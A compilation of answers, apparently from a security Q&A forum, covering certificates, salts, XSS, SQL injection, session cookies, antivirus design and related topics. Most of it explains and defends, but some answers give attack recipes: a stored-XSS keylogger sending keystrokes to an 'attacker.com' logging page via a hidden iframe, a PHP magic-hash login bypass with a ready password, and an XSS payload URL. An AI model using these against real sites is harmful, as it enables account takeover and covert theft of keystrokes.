Your first concern would be if the add contents are requested and served over some sort of Transport Later Security connection. Unfortunately at this stage very few of these 3rd party advertising networks bother to implement https for the sources of the add content. You can simply check the URL where the add contents are requested from to see if it is over an https connection. If this is not the case then the contents of that add will be vulnerable to modification by a Man-In-The-Middle.

There have been proven exploits of in-app adds on Android devices where a MitM is able to get access to all the privileges (camera,contacts,photos etc) of the application by simply exploiting an add banner that received contents over an unsecured connection. Tools like Drozer are used for this exploit. You can read more on add network research here.

Secondly, even if the connection is secure you still have to trust the actual content as you correctly point out. This would mean that you have to trust the add network that actually serves the content. It stands to reason that more popular add networks can more easily be trusted but you should most certainly not implicitly trust them. There is no guarantee that they actually review the adds that they serve. In this case there is not much you can do other than to do some of your own research on these 3rd party add providers to see if there have been any previous issues or concerns.


It depends on what kind of privacy you are talking about.
If it's about the carrier/government knowing all places you go, when you are moving, when you are not, where you live, whom you call, whom you text, who calls you, it does not change much: triangulation will show your coarse position on a modern smartphone and a dumb cellphone the same way, and the call/text metadata is still available for the carrier and government, and this data does not depend on the phone.
But if for privacy you mean all the trackers embedded on Android or iOS apps, there's a difference. Those vintage phones have very simple operational systems, no GPS, no WIFI, no cameras, no bluetooth, usually cannot multi-task, cannot run Java applications, cannot load applications larger than a couple kB, and usually cannot load anything running javascript, or even HTML. So email tracking usually won't work, tracking apps aren't easily available, and current exploits won't work. Some of them won't even have a SIM card, so that path isn't available for exploit either.
It's almost like running MS-DOS today: you cannot get a tracker written on .NET to run. You cannot exploit a drive-by download vulnerability on it. You cannot exploit SAMBA on it. Those vectors won't work because the attack surface lacks a lot of components.
It's better? Sure!
It's perfect? No. You can still be tracked, in a more limited fashion, but can be tracked.


Is keystore file (server.jks), my private key file?

Yes, you did keytool genkey in the file server.jks so that file contains your private key. What you need to do is, first add your cert (chain) to the JKS, THEN convert the JKS to "PFX". The p7b by itself does not contain sufficient information.

The .p7b from the CA contains the cert for your server, and may contain other "chain" or "intermediate" certs which your server cert depends on. You say this cert is from a "local CA"; is that CA itself delegated from a well-known "root" CA like Verisign? If not, if the local CA has its own root, is that root already added to the cacerts and/or jssecacerts file in your JAVA_HOME/lib/security? (If you or other users on your system have been interacting with systems using this CA and it has a private root, you likely have already needed to add it to a truststore, but not necessarily the standard one.)

IF the chain the CA gave you uses a root that is either already in the Java-distributed cacerts like Verisign or has been added to cacerts on your specific system, run

keytool -keystore server.jks -alias serverkey -import -file whatever.p7b -trustcacerts

The response should be "Certificate reply was installed in keystore". If it says "Certificate was added to keystore" that is actually an error even though it doesn't say so.
Then convert to PKCS#12, which is the actual standard Microsoft and some other people call PFX, as one line but broken for posting:

keytool -importkeystore -srckeystore server.jks -destkeystore server.pfx
-deststoretype pkcs12 -srcalias serverkey

On the first step, if the needed root (or anchor) isn't in cacerts (well-known or already added) but at least one CA cert is in the p7b, keytool will display info about the "top-level" certificate and ask Install reply anyway?; just answer "yes". If anything more complicated is wrong, give details.


How to monitor a logs directory with OSSEC agent in windows

It looks like you're looking at the log collector element rather than at the file integrity monitoring element which is covered by  in the documentation: https://ossec-docs.readthedocs.io/en/latest/manual/syscheck/

Rather than looking at specific files, you could monitor the directory. You know the directory will increase in size and items will be deleted based on retention periods and automated jobs. Once you know these metrics, you'll be able to monitor for specific changes which may be suspicious or malicious.


Can OpenPGP private keys ever be secure enough to store publicly?

You've already answered your own question.  The question becomes, how many resources can the attacker put on cracking your password, and how good are people at choosing passwords?

The largest supercomputer currently has around 3 million cores.  Let's assume each core has about the same amount of processing power as your workstation.  That's 3 million cracks/second.

In a year, such a machine could crank through about 47 bits of entropy.  In 10 years, that number only goes up to 50 bits of entropy.  With 64 bits of entropy, the cracking time goes up to a million years.  Of course, computers get faster, so if we assume a doubling time of 1.5 years, you can remove 2 bits of entropy every 3 years.  So in 10 years, 53 bit keys will be crackable in a year.  In 20, 60 bit keys.  So that sounds really great, right?  64 bits of entropy is pretty easy if people use the the simple xkbcd comic http://xkcd.com/936/

Now...  the reality is that most people WON'T pick good passwords, and don't understand entropy.  They'll still pick "password123", their dogs name, or their phone number.  They don't understand offline attacks.  Those are all low entropy sources, and could be cracked by a single individual very easily even with a garden variety PC.

So what can you, yourself crack, with just your piddly little PC at 1/second?  In just a day you can go through 86,000 tries, or all the words in the a largish dictionary.  In a month, you can try 2.6 million.

So I'd say if you're talking about posting private keys encrypted for anyone to just download, you'd be asking for trouble.  Some other means of protecting these keys would be more appropriate.


Is mt_rand() suitable for generating a salt?

Under most conditions, a salt needs only to be unique, not cryptographically unpredictable.

So in that case, yes as long as your RNG is properly seeded. Another common technique to improve salt quality is to concatenate a random number to the current time, then hash that (e.g. SHA1), textually encode (e.g. base64), and take the first N characters. The chances of a collision there are pretty slim.

Edit to explain
Here's an explanation of what's in this techique and why:

The current time prevents repitition. As long as two salts aren't generated at the same time, they won't be the same
The random number prevents predictability. You can't know the salt ahead of time because there's an element of randomness. This obviously assumes that the random number isn't readily predictable and isn't based on the current time. More importantly, it also helps prevent collisions if two salts happen to be generated at the same time.
The hash smooths out the distribution so each bit has an equal chance of being set. It also prevents you from knowing what went in to generating the salt just by looking at the result.
You can also concatenate a secret string to the input of your hash if you're paranoid about people predicting salt values. You shouldn't have a reason to care, though.


What is the difference between a bastion host and a dual homed host?

Your question is a bit like asking what's the difference between a defense counsel and an attorney.  An attorney is a person who has studied law and is licensed to practice it; defense counsel is the role an attorney can play in a specific trial.

"Dual-homed" describes the networking configuration of a host that has interfaces in two networks. "Bastion" describes the role it plays: provide safe, controlled external access to resources in one of those networks to authorized clients in the other.


It is a XSS vulnerability, but it's quite difficult to exploit: Take for example the following URL:

http://anything."><script>xss</script>.example.com/aa/bb

This URL will carry an XSS payload in Host parameter when navigated to, but:

DNS would have to resolve this strange domain to the IP with vulnerable application (so unless the DNS is quite forgiving attacker would require DNS poisoning)
The browser would have to skip encoding the hostname - usually the hostname is percent encoded by the browser (so <script> becomes %3Cscript%3E). You could of course forge the request outside browser.
Target server would have to process the request in the context of the vulnerable website, which is not that simple. For example - if this application is installed as a VirtualHost in Apache, this Host header will not match any VirtualHost and will be processed by a fallback or first VirtualHost.

It would be much more dangerous if this XSS was stored and not reflected, because then you could skip the (1) DNS and (2) encoding requirements. You could just plant the payload by sending manual HTTP request outside the browser. This payload would be then visible for 'standard' browser-based visitors of the vulnerable site.

So, as a conclusion - this is a XSS vulnerability, but with low exploitation probability. Still, the application should fix it by escaping the Host header being displayed.


What benefits does Nessus have over OpenVAS?

I think that both projects will have their strong and weak points.  At the moment I'd say that Nessus appears to have a wider range of plugins available and arguably a better user interface than the standard OpenVAS client/server implementation.

In addition Nessus seems to have widened their original focus in unauthenticated vulnerability scanning to include authenticated (audit) style checking.  In several scenarios this is likely to produce more accurate results than unauthenticated scanning.  Having looked at these scanners authenticated scanning capabilities, Nessus does seem more advanced here than OpenVAS

EDIT : Just thought I'd add another couple of things I've noticed which could be relevant to people looking to evaluate these two.  If you're looking at Database Scanning (Oracle/SQL Server) Nessus offers credentialed scanning for these, with DB level creds, which will find some vulnerabilities.

That said if you're interested in database vuln scanning NeXpose could be well worth considering, it seems to have good authenticated and unauthenticated database scanning.


Why doesn't the PIN become part of the encryption key in bitlocker with TPM?

There's no known reason other than Microsoft just not deeming it necessary. A common theme in cryptographic design is to keep the system as simple as possible, to avoid problems later on.
If they'd have added a scheme to combine the PIN and the TPM key, they'd need to come up with a way to combine those keys. That likely means something like hashing the two values together, or using a HMAC. If that scheme was later discovered to use a primitive (e.g. hash algorithm) that was insecure, that's a problem. They'd likely have included a way to indicate which algorithm was used, for future-proofing, but that's more code, which means more attack surface, which means more validation and testing and potential issues in the future.
It's also more complex for situations where the disk is unlocked by something other than a PIN, such as a smart card. There needs to be additional consideration as to whether the same scheme can be used there, or whether there needs to be even more code and a different cryptographic approach for that scenario.
In this case it's absolutely reasonable to argue that the additional cryptographic functionality and code is worth it. Hinging the security of your FDE solution solely on the security of the TPM does not seem like a particularly good move in the face of modern attacks on TPMs and Intel CSME (which implements the fTPM). However, when BitLocker was initially conceived, these attacks were purely theorised, so it's also easy to see how Microsoft made the choice that they did.
I definitely agree with your concerns, and I have argued before that the next version of BitLocker should utilise the PIN itself as part of the header key derivation, in order to at least partially mitigate the threat of TPM attacks.


recommendation to change encrypted-drive passphrases

If there's no reason to suspect the password is known or can reasonably be guessed by somebody else, then there's no reason to change it.

Password is or might be known to somebody else:

it has been stolen, or guessed, or bruteforced
you notice strange changes in your accounts or suspicious lines in your logs, etc. so somebody might be using your password
your machine has been infected, so any password you have typed lately might have been stolen
it has been handed out to other people on purpose (for example for getting support, etc.)

Password can reasonably be guessed (weak or weakened password):

an attacker has stolen a hash of your password, or they have stolen a file encrypted with your password (they can bruteforce it more easily with dedicated hardware and software)
you use a weak password, or even use the default password provided by the service or device
you are forced to use a weak password (like a numeric PIN) which could be bruteforced within a reasonably short time, so you need to change it regularly to make it hard for the attacker to gain continuous access
you use the same password for two or more different purposes, and that makes it more likely to be stolen or guessed

So for an encrypted HDD, for example, this means you should change the password if you suspect your nosy coworker who is always glancing at your keyboard has seen it or has finally been able to figure it out. Or for example, you should change it if somebody somehow stole a copy of your HDD (it could also be a backup copy), because then the attacker can try to bruteforce it much more easily (with specific software or hardware). If they finally find the password they will be able to read all your data in the stolen HDD copy, but at least they can't come back and use that same password to easily read all your HDD again (because you have changed the password). Yet another example: you should change your HDD password if you are using the same password as your WIFI, and you are giving your WIFI password to all your friends so they can access the internet at your home. Of course those passwords should be different.


Best way to securely set a session cookie on another domain

As you've noted already creating this token on the unencrypted www site will essentially remove the benefit of running over SSL for the secure site as an attacker can just sniff the token when it's transferred to the unencrypted site and then use it on the encrypted site to masquerade as the user.

Also having a link from the unencrypted site to the encrypted one where you log in leaves you open to an active MITM attack where the attacker redirects the request to their own site to take the credentials.

If there's not particular reason not to, you could just put SSL on both sites which would help to remove the risk mentioned above. The old main reason not to use SSL everywhere (performance) may not apply to you depending on how busy your site is an how heavily loaded it is.

Outside of that answers would depend on your architecture. For example, do the two sites share a database?  If so could you have two different session values for a user (one for www and one for the secure site) and correlate them there?


Security certification of software products: what about libraries or third-party services?

The Configuration Management scope (ALC_CMS class), mentioned in the Common Criteria Developers Guide (CC v3.1) describes, what should be included into the configuration list.

Starting with EAL2, parts that comprise the Target of Evaluation (TOE), should be provided in this list, including software modules and hardware components.

The following evaluator action is mentioned: "The evaluator will check that the configuration list includes the above listed configuration items and that these configuration items are uniquely referenced."


Is it critical that REST API returns exactly the same content as it is in NoSQL database?

First, keeping a schema secret is not a helpful part of any defense posture. For SQL DBs, preventing SQL injection involves a number of techniques- various bits of database configuration, the use of prepared statements, the sanitization of untrusted input- all of which are practiced by open source projects, the SQL schema of which are public. Similarly, though schemaless DBs don't have fixed schemas, related techniques apply when untrusted data is being persisted. In either case, keeping the schema secret is unnecessary if those other techniques are used, and if they are not, secrecy likely won't help.

The reason to maintain separate schema and field names between database and API has to do with change management.

Your application consumes your database. Other applications, not under your control, consume your API.

It is relatively easy to change your schema and conform your application to it. It is difficult, painful and in many cases unacceptable to force breaking changes on consumers of your API.

So, create a API surface that makes sense for your customers, and then keep as an implementation detail your internal schema and database details. In the beginning this seems like wasted effort, but the success path for APIs involves stability for your customers. Invest in it up front.


Exposing employee numbers, how bad is it?

I would say that is a significant risk for several reasons, being:

Even if employee numbers are not currently used as an ID method, they might be used in the future for this purpose. Some companies will use an employee number as a username as well, so if the attacker can find this and correlate it to a person's real given and surname then this would empower user enumeration.

When end-users call or are called by support staff, it is far more convincing when the caller has access to even basic knowledge such as the employee's number. As most people will presume that only authenticated + authorized individuals will have the number it could allow an attacker to perform an social engineering attack.

Phishing and malicious emails can be made more convincing as well; the attacker can use the number and the person's name in the email.

If the employee numbers are easily found, there might be more severe exploits that have gone undetected. In addition there might be an exploit tied to how the numbers are found which is more severe but as no one has looked at this issue it has gone unnoticed.

If the employee numbers are meaningful (e.g. contain division, can infer which employees have been there longer due to lower numbers, type of staff such as contractor or part-time etc...) then this would also help immensely with OSINT for a targeted attack or spear phisihing.

If anonymity is expected by staff, this could violate this expectation. I doubt this is a major issue as it is easy to find where someone works through Facebook, LinkedIn, etc...

Hope this helps. My only advice as for pushing further on it or not is just to clearly communicate your concerns (with written evidence of course) and respect the decision by whoever is authorized to make it.


How do we change the public key in our commercial app?

Simple option:  Use two public keys embedded in the library.  One of them is used day-to-day, and the second is in offline cold storage.  If key compromise necessitates a rotation, you can bring the offline key back online.  Then you update the library before the next compromise.

More complex option: embed a certificate authority key.  Keep it offline.  In addition to the signed responses, include the public key (just like an HTTPS request).  Verify the CA chain.  (This need not be a commercial CA, you can run your own easily.)

Most complex and most flexible: combine both.  Two CAs, offline cold storage in HSMs/Smart Cards for CA keys.


Alternative way of applying authentication in network security

It varies by protocol.

PAP (Password Authentication Protocol)

This is only for reference and should not be used. This is just sending a username and password in the header.

CHAP (Challenge Handshake Authentication Protocol)

Uses a challenge response method by generating a string and the client needs match it. This is more for reference as well.

Kerberos

To your point, uses secret-key cryptography to establish identity. Common, in most systems. It also provides a ticket to the user which can be used in Authorization.

NTLM

A Microsoft suite of security protocls for authentication, authorization, and integrity that uses the same concepts of challenge-response like CHAP.

Open ID

An open standard that uses the concept of decentralized authentication protocol and URLs to exchange identity information.

Explanation

Authentication is the act of proving that a user is who they say they are. Each example I provided are diffident protocols to achieve this. What I think you are miss-understanding is that Authentication as a whole is not subject to protecting prying eyes from eavesdroppers.

That is the role of other protocols such as HTTPS, which is most common and uses public key cryptography to establish a secure connection to another service.

Example

When connecting to Facebook, you uses a HTTPS connection (public keys) to establish a secure connection. You than provided your username/password, with authenticates you using if I remember correctly, their implementation of OAUTH 2.0.

The security of the connection, and the integrity of the users identity are exclusive. We tend to talk about them nominally, but they typically uses separate protocols.


how can I tell if I'm under IMSI cell phone surveillance

The most plausible explanation for a phone with poor reception is that the phone's hardware is faulty in some way (either that specific phone has an issue, or the phone design is flawed). Expensive phones don't necessarily guarantee good reception.

IMSI-Catchers are active devices that pose as fake base stations. Details are not really public; however, it seems that when such a device is active, it cannot (easily, or at all) intercept connections for only one specific phone. Thus, all phones in the vicinity ought to be equally affected. This is not consistent with the symptoms you observe. Therefore, either IMSI-Catchers have become more advanced and selective, or you really are not under that kind of surveillance, and your S4 phone is just bad at radio communications.


Who/what maintains the CRL for a web server's client certs?

In this context, a client certificate is really no different from any other certificate; the CA that issue the certificate is responsible for maintaining revocation information for it. Managing revocation information of certificates they issue is a core function of a certificate authority. When you pay for a certificate, this is one of the services you are paying for.

To be specific, every certificate will have either a CRL Distribution Point (for CRLs) and Authority Info Access (for OCSP) X.509 extension that point to the URL where revocation information for that certificate can be found. It is the CA's responsibility to maintain revocation information at those URLs.

Updating and publishing CRLs is mostly automated, but there may be a human in the loop to actually mark your certificate as revoked, or not. depending on how the cert is revoked. For example, if you call an API to request your own cert be revoked, then almost certainly no humans are involved. If there's an ars technica news story about you horribly mis-managing your certificate's private key, then almost certainly some human at the CA will decide to revoke your cert for you ;)

Pulling this in from comments, even though it's a little outside the scope of the original question:

Alternatively, I've seen setups where someone's access to the site is taken away, but their certificate does not need to be revoked (for example, someone changes departments and still needs their client certs for other websites). That would be managed through whatever Roles / Permissions system is built into the website, and doesn't really have anything to do with certificates themselves or CRLs because the cert is still valid as far as the CA is concerned.


How to store user credentials like Mint.com

Short answer: Carefully structured reversible encryption.
Long answer: The question doesn't contain enough information for anyone to provide a long answer. State the web app environment at least.


I think the documentation answers your question clearly. To cite:

  ... If the actual time is later than creation time plus timeout, the session is not reused.

Thus, it is only about reusing the session and does not have any impact on a currently running session.


You might refer to the problem that reading from /dev/random will block on some systems if there is not enough entropy available. Quickly drawing entropy from the system by creating lots of session ids might thus lead to the application blocking when creating another session id, thus making at least this specific part of the application not respond for some time - a denial of service attack.

How exactly one can make the application create new session ids depends on the application but for typical implementations it might be enough to send a single HTTP request which does not have a session cookie yet and sending lots of such requests can easily be automated.


Security measures to take upon acquiring a new laptop?

Despite your already accepting an answer, I'll add mine.

Most importantly, us two factor authentication (2FA) with your bank!

You need not dedicate a laptop to your banking. If you are worried about the laptop, use a bootable non-persistent OS, there are dozens of Linux variants or you could even use Windows-to-Go if you want Windows. This will bypass everything on your laptop drives that might be there.

FDE is nice for many reasons, but for banking purposes you only need to protect your bank information. This can be done strictly in your head or in an encrypted folder on a thumb drive.

The operating system you use is completely irrelevant.

Forget Tor and VPN's for banking purposes. Most banks blacklist Tor nodes even if you wanted to use them. You have no interest in hiding your identity, quite the reverse in fact.


What would be a secure way to accept potentially infected files?

You have very good odds if the file is only scanned and not opened, but there have been instances of malware activating flaws in scanners.

Setup your scanner system to run non-persistently. A golden VM copy can be spun up pretty quickly for each scan instance. That way even if compromised it's only momentary.

Granted it's not impossible to also compromise the host under the VM, but compromising the scanner, the VM, and the Host is a pretty high bar.

Good Luck!


API - How can I make sure data sent by the user is only sent to my application?

If I read the question correctly, long story short is that you can't.

Data is being input into a system under someone else's control. Any measure you take to ensure the data is sent to you can be circumvented by the other party.


OpenID connect authentication with cookie authentication middleware [Asp.Net MVC ]

When you use the cookie based authentication it means that your app base on stateless authentication, where stateless means you fully rely on data (cookie) that comes from user agent. In this case it is the most important thing to secure the cookie from stealing.

The case you present here is nothing else like Man-in-the-Middle attack, where you sniff the request and save the authentication cookie. If someone would stole the cookie in other way (like using the XSS or different technique) the result would be the same.

This is why so important is to use all possible security controls to mitigate cookie stealing.

Going back to your case, if you have logged out through browser, the authentication cookie have been invalidated by cookie middleware (overwritten and expired). If someone would send the same cookie (like you did) the only security control I can think of to mitigate this case (please remember about the stateless principle so nothing is stored on server side) is to parse the cookie and validate the expire timestamp (if included in cookie). If expiration time is short enough to be invalid in time of cookie replay, we can react to block the request. If not, we have a broken authentication.


First off, your connection to a website being encrypted does not necessarily mean that your connection is actually secure. It certainly helps, but encryption can differ massively in quality. You might have heard about POODLE, as well as FREAK. Bugs and side effects like these could mean that a sufficiently powerful attacker might be able to break the SSL. And that's not even including the possibility that a CA has been compromised, like happened with Diginotar. And of course, the website itself might be compromised, with a piece of Javascript stealing your cookies and even your credentials, like the Tunisian government did with Facebook.

So assume that the attacker has your cookie. The server actually uses that cookie to know who you are, because that's the only way it can know that. IP addresses can change and aren't unique enough. Browser sniffing is complicated and can break when you do something like patching Chrome (maybe to deal with a bug in TLS). hardware footprints are hard to acquire and aren't unique enough as well. So the only way is by having a small file on your computer that tells the server who you are. So if anyone knows what is in that file, they can use that to login as you.

You can test that yourself. Open your dev console, find your cookies list on this website, open an incognito tab to this website and edit the cookies using an extension. Once you refresh the page, you're logged in to the website without entering your credentials. A few years ago, there was a tool called Firesheep that could track non-TLS connections other people made on a public wifi (say, a starbucks) and impersonate them. Even now, you can buy a special tool called a Pineapple for 100 EUR, trick people into connecting to your wifi and steal their data.


What are the common features to identify Brute-Force attack from Apache log file?

You can just run grep command against Apache access log searching for your login page , use awk to carve out the source ip address then use wc to count how many times a source ip hit your login page. That would be a simple way to check for brute force login attacks from a single source.


Does using token-based auth make CSRF checks on login unnecessary?

If you treat a request specially because it comes from a particular IP address or includes particular cookies, then there is a potential for CSRF.  If no machine-specific information influences how the request is processed, then there is no potential for CSRF.  A password reset page could be subject to CSRF if it somehow defaults to the last username used from that machine (i.e. based on cookies, or worse, IP address) and allows the reset to be issued without specifying the username as part of the URL or in POST data.  (Still, the damage would be limited since we are just talking about a password reset request.)


Impact of SQL injection on SELECT statement

I'm not 100% certain on this first detail so I'll defer to anyone who disagrees, but I'm pretty sure that your stipulations mean that it is not possible to break out and execute a DROP, INSERT, UPDATE, or anything other than a simple select.

As a result the worst case scenario is limited to information disclosure, but keep in mind that the worst case scenario is most likely a complete leak of your entire database.  With MySQL at least (I'm not familiar with the details of Microsoft SQL Server) the table structure is also stored as tables that can be accessible via a SELECT operation and so SQLi vulnerabilities on a SELECT usually start by first figuring out all column and table names (presuming that you can perform arbitrary SELECT injections - which is what it sounds like).  Once you have that it is very easy to join and dump all tables and columns, resulting in a complete copy of your entire database (as well as any other databases that the SQL user has access to).

A quick google leads me to believe that database structure is accessible via SQL select commands in Microsoft SQL just like it is in MySQL - ergo a full database copy is possible in the event of a wide open select vulnerability.


Is using a working computer for private stuff at home safe?

If you do not own the device, assume that the owner can monitor everything you do on it.

Obviously the company can not monitor the traffic on the network since it does not pass through their network (unless you connect with a VPN). But there could be monitoring software installed on the computer, and your activity leaves traces that could be uncovered later through forensic analysis. Don't expect that you would be able to detect the monitoring, or clean up the traces.

There might be legal limits to what the company can do here, but I would not rely on them being strict enough. There might be loopholes, and laws may be broken. Just don't do stuff on your work computer that you don't want your boss to know about.


Are there any flaws in this two way cryptographic function?

Read Shannon's 1949 work. Understand diffusion and confusion. Then understand that you do not understand enough *YET* about set theory, probability and linear maths to know that you don't have enough background to design or implement an enciphering algorithm. Read Dunning-Kruger effect while you are at it, but please keep learning, so that some day you will know enough to design a secret system.


No; by definition, you cannot identify a trend without data.

However, anything that you or I or anybody else can come up with can also be thought of by an attacker.  In general, you cannot assume that the attacker cannot or will not find out what method you are using.  This is called 'security through obscurity' and is a common trap that people fall into.


What is the difference between Internal and External scan in PCI

An external vulnerability scan must scan all machines that are in scope for PCI-DSS that have public ips from outside the firewall (eg the internet). This must be done by a qualified party called an ASV. The PCI Council maintains a list of ASVs on their website.

The internal vulnerability scan must scan all machines that are in scope for PCI-DSS from inside the firewall (eg local network). You may perform this scan yourself.


How do antiviruses scan for thousands of malware signatures in a short time?

Antivirus detection is a feature extraction and a classification problem.

A great analogy is the 20 questions game where the goal is to identify an arbitrary object by asking 20 seemingly unrelated yes/no questions. The idea behind the game is that each answer would eliminate half of the objects so it is theoretically possible to describe 2^20 (1,048,576) objects with only 20 binary features.

A different analogy is how the visual cortex processes visual information. The brain has very simple and fast hardware for detecting and classifying an infinite number of images. Only six layers of neurons (the number of neurons is estimated at 140 million) are used to extract progressively more complex features and pass them on to the next layer. The layers interact back and forward to each other to produce abstract notions that can be verified against memory.

Antivirus engines store many features of known malware in the definition file and when they scan a new file they optimize the extraction and classification (matching) of those features. Storing features also makes the detection more robust so that small changes in a piece of malware won't thwart detection. Feature extraction is also done in parallel so that resources are fully utilized.

Most features are designed by humans but there are some that do not make sense by themselves, like having a null byte at the end of the file or a ratio between file size and printable text size. Those nonsensical or unintuitive features are randomly generated and tested by data mining vast quantities of files. In the end the file is described and classified by the combination of features. As a side note, the best predictor for questions being closed on Stack Exchange is whether the first letter of the question is in lower case.

So when a new file is scanned, it is quickly classified into finer and finer categories and then it is matched against a small set of signatures. Each step would exclude a large number of clean files and would dictate what other features should be extracted next. The first steps are very small in terms of computing resources but they dictate which more expensive steps should be taken later.

By using only a few disk reads and CPU cycles the engine can determine the file type. Let's say it is a JAR file. Using this information, it starts collecting features of the JAR file. If it's signed, then the scan is aborted. If it's not importing any functions then the scan is aborted (I'm oversimplifying here). Is it using any tricky functionality? then more features should be extracted. Does it use known vulnerable functions? Then it should be thoroughly checked for known Java exploit signatures.

On-access scanning has the same principle behind but it also works like a gatekeeper. So each action (usually API call) taken by a process is being checked for and allowed or denied. Similarly, each suspicious action triggers more filters and more checks. During the checks the process or thread is waiting for the operation to complete but sometimes the whole process is actively suspended. This might look like significant overhead but once a specific action is verified, it is later cached and performed very quickly or not performed at all. The result is a performance degradation similar to having a machine a couple of percentage points slower. Check the PCMark scores for 20 AV products here.

So the speed optimization comes from very little work being performed on clean looking files which constitute the overwhelming majority of scanned files. The heavy lifting work is being done only on suspicious malware-looking files for which AV might even take seconds to emulate the process or even send it to the cloud for analysis.

The magic is in the progressive classification.


Check this other question so you can understand more about certificates:

How do the processes for digital certificates, signatures and ssl work?

Basically signing a software guarantees that you are the author of the software and it has not been modified in any way by another party. For example if you check your PCs drivers, you will see they have a signature (i.e Microsoft Windows). this means we can be sure Microsoft made that driver. However there is nothing stopping me from creating a fake signature that has "Microsoft Windows" as name. This is what Certificate Authrotities are for, you could say they are trusted entities that contain records of each person/company and its true Public Key. That way even if I create a fake signature that has Microsoft as a name, a client will notice that the public key im giving it and the public key on record from the CA don´t match and thus I am an impostor.


How to bypass PHP strings == comparison for sha256 string?

This is exploitable in some cases. The root issue here is the way PHP type juggles when comparing values with the double equal operator. If the values compared begin with "0e" or "00e", etc, they will be juggled to a float and compared as two zeros. The following snippet illustrates this:
php -r 'if ("0e123" == "00000e228") { print "You win\n"; }'
As the user supplied password is hashed without a salt you can control the $password value of the comparison, however the $PwDB value is presumably from the database itself and an unknown value. In order for the comparison to equal true you would need two things:

submit a known value that results in a suitable hash value when hashed with sha256. Luckily the internet has already solved this we can take 34250003024812 ( from https://github.com/spaze/hashes/blob/master/sha256.md)

A valid username for a user who's hashed password in the database starts with the magic 0e type string.

So in short, use a wordlist or enumerated usernames and attempt to login with the password 34250003024812 for each of them. If you're lucky it will match one or more users.


Telling donors we will no longer accept card information in writing

I'm assuming this is to avoid having to take special physical security precautions for all of your correspondence to comply with PCI-DSS (if you aren't sure what that is, then I've made a bad assumption). For the benefit of other readers, PCI-DSS is not limited to computer security; it also covers telephone sales and other low-tech physical methods, right down to the venerable "knuckle-buster".

How will you accept their card information? Over the phone, on a secure web site, etc? I would emphasize the approved secure methods of supplying payment card information first, and then either not even mention other methods you won't use, or if you must, simply convey that your bank will not accept card information obtained any other way.


I've not done the GIAC one, but I have got the CREST Web Application Tester certification, so I can comment on that.

I'd say it's pretty well regarded, specifically in the UK penetration testing/ethical hacking industry.  The CESG equivalency that @RoryAlsop mentioned is important for government work in the UK and it's also regarded as a good indication of a candidates skill match for UK testing companies (as several of the larger ones helped to design it).
As I mentioned on another question recently, I reckon that the CREST exam is the hardest professional exam I've taken.  To put that in context I've done ~30 professional exams across IT and security over the last 15 years.  It's got a tight time constraint and requires practical knowledge as well as theoretical knowledge to pass.
Preparing for it can be tricky as (as far as I know) there's no specific training course you can take.  Personally I wouldn't recommend trying it unless you're an active web app. tester.  If you are going to take it then review the syllabus that's available on their site and make sure you're comfortable with all the areas it mentions.  Also I'd recommend reviewing the Web App Hackers Handbook, and ensuring you're comfortable with the various areas that it describes.


By how much does virtualizing a perimeter firewall reduce network security?

The main problem with running that in a VM is throughput. Your router/firewall needs to be able to process packets and route them very quickly and at high volume.  This isn't always easy to achieve with a VM.

Also, I'm not really sure why you are doing it this way. What happened to your router? That is probably perfectly capable of doing what you want. Certainly, I wouldn't choose to connect a machine direct to the Internet if I could help it. One problem you will have is that the host computer will be exposed so any vulnerabilities could also expose the guests. To say nothing of the whole lot collapsing from time-to-time under the load (depending on the host resources) and having to be regularly restarted to install host OS patches.

If your needs are fairly limited, you could also consider a single board computer with a second network port added which would act as a router/firewall.


You can embed a .js file using a Stored XSS to perform the remote keylogging.
Using Ajax, it should be easy to do the remote logging. Have a look at the Javascript Keylogger here. http://code.google.com/p/javascript-keylogger

Setting the iframe width and height to zero answers the second question

<iframe src="attacker.com/log.php" width="0" height="0">

What you are asking in the 3rd question is frame busting. There are techniques to do that,
https://www.owasp.org/index.php/Clickjacking#Defending_with_Frame_Breaking_Scripts


How to get other people's bcrypt hashes to add to htpasswd file

Normally the output (hash) when hashing a password with Bcrypt is not merely the hash: it is a text string which also encodes the salt and identifies the hash algorithm used.

From this stackoverflow answer:

$2a$10$vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa

  2a identifies the bcrypt algorithm version that was used.
  10 is the cost factor; 210 iterations of the key derivation function    are used (which is not enough, by the way. I'd recommend a
  cost of 12    or more.)
  vI8aWBnW3fID.ZQ4/zo1G.q1lRps.9cGLcZEiGDMVr5yUP1KUOYTa is the salt and    the cipher text, concatenated and encoded in a modified
  Base-64. The    first 22 characters decode to a 16-byte value for the
  salt. The    remaining characters are cipher text to be compared for
  authentication.
  $ are used as delimiters for the header section of the hash. This    example is taken from the documentation for Coda Hale's ruby
  implementation.

htaccess allows for generating bcrypt with the -B switch (refer to the manpage here). So as long as everyone has htaccess installed or anything else which can generate valid bcrypt hashes, you should be alright.


When you say you are using tor, are you using the tor browser bundle? or the stand alone version where you set it up as a proxy server and connect to tor using your normal browser?

I ask because from your details I suspect it's a DNS issue, but the tor browser bundle does not use your dns settings (at least not by default) so if you're using the browser bundle and still getting the issue then it's something else.

What I suspect may have happened is that the DNS settings on your router may have been compromised so what should happen is a DNS query goes:

First looks on your local computer (i.e. /etc/hosts)
Your upstream DNS from resolve.conf this is typically your local router and set by DHCP (typically other computers on your network and cached DNS records)
Your router looks at it's upstream DNS, this is typically your ISP

But I suspect that your router has been setup to use a malicious upstream DNS server that is redirecting your traffic to malicious web server / proxies that are injecting content into your browsing.

As an experiment try booting a live CD and see if you still get the issue, if you do I would factory reset your router1 (or better yet re-flash it with the latest firmware) set the upstream DNS settings on your router to 8.8.8.8 (google's public DNS) and make sure you put a good password on your router.

The usual caveats apply, factory resetting your router will likely kill your internet connection so make sure you know how to set it back up again, if you need a username and password to connect to your ISP (most connections will) make sure you know what it is.


What is the relationship between Windows BitLocker and Hasleo BitLocker Anywhere?

Looks like other have had your same question and discussed it on Reddit

The summary was that it's likely a hack to get BitLocker working in Windows 10 Home, which doesn't normally allow for BitLocker, but that it's not really trustable because they are infringing on the trademark (unless they pay MS some royalties to use the name).


Why isn't Amazon using a NONCE for REST Authentication?

Usage of a nonce makes the design complicated. The s3 server will have to send a nonce and the client will have to maintain a session or hold the nonce value. The absence of nonce definitely leads to replay attack as you mentioned and that is the primary reason for all direct URL access vulnerabilities which exist in applications which uses S3 storage. Amazon thinks that limiting the attack surface using a time stamp reduces the risk to an acceptable level. For example if the request time-stamp is not within a set window (5-15 mins) it is considered invalid.


Full isolation of a honeypot on a single Internet line?

I agree with @schroeder. This sounds like a really bad idea.

